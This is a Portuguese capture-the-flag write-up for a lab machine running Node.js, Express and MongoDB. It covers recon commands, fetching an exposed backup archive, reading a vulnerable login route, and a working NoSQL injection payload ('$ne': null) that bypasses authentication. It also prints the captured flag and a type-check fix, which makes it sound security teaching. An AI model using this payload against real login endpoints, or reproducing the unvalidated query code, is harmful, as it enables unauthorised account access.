CTF / LabROOT PWNEDMédio
SO: Linux

Máquina: writeup

WriteUp — Type Confusion / NoSQL Injection

Alvo: 10.10.0.30
Data: 2026-08-25
Stack: Node.js + Express + MongoDB (Mongoose 8.4.0)


Reconhecimento

ping -c 3 10.10.0.30
# TTL=253 → Linux, ~2 hops

nmap -sT -T4 --top-ports 1000 10.10.0.30
# Resultado: 80/tcp open http

curl -sv http://10.10.0.30/
# X-Powered-By: Express
# HTTP/1.1 404 Not Found

Enumeração

curl -s http://10.10.0.30/robots.txt
# /backup.zip

curl -o backup.zip http://10.10.0.30/backup.zip
unzip -l backup.zip

Conteúdo do backup:

webapp/index.js         ← código principal
webapp/database/User.js ← model Mongoose
webapp/package.json
webapp/entrypoint.sh
webapp/Dockerfile

Análise do Código

Rota vulnerável — index.js

app.post('/auth/login', async(req,res) => {
    const { email, password } = req.body;
    // SEM validação de tipo!
    const user = await User.find({ email, password });

    if(user && user.length > 0) {
        return res.json({ FLAG });
    }
})

Vulnerabilidade

req.body é parsed como JSON e passado diretamente ao User.find().
Se email ou password forem objetos, o Mongoose repassa o operador ao MongoDB → NoSQL Injection via Type Confusion.


Exploit

curl -s -X POST http://10.10.0.30/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email": {"$ne": null}, "password": {"$ne": null}}'

{"$ne": null} → MongoDB retorna todos os docs onde campo ≠ null → bypass total de autenticação.


Flag

hackingclub{typ3_c0nfus10n_4nd_n0sql1_t0_byp455_4uth3nt1c4t10n_syst3m}

Fix

if (typeof email !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: "Invalid input types" });
}

Referências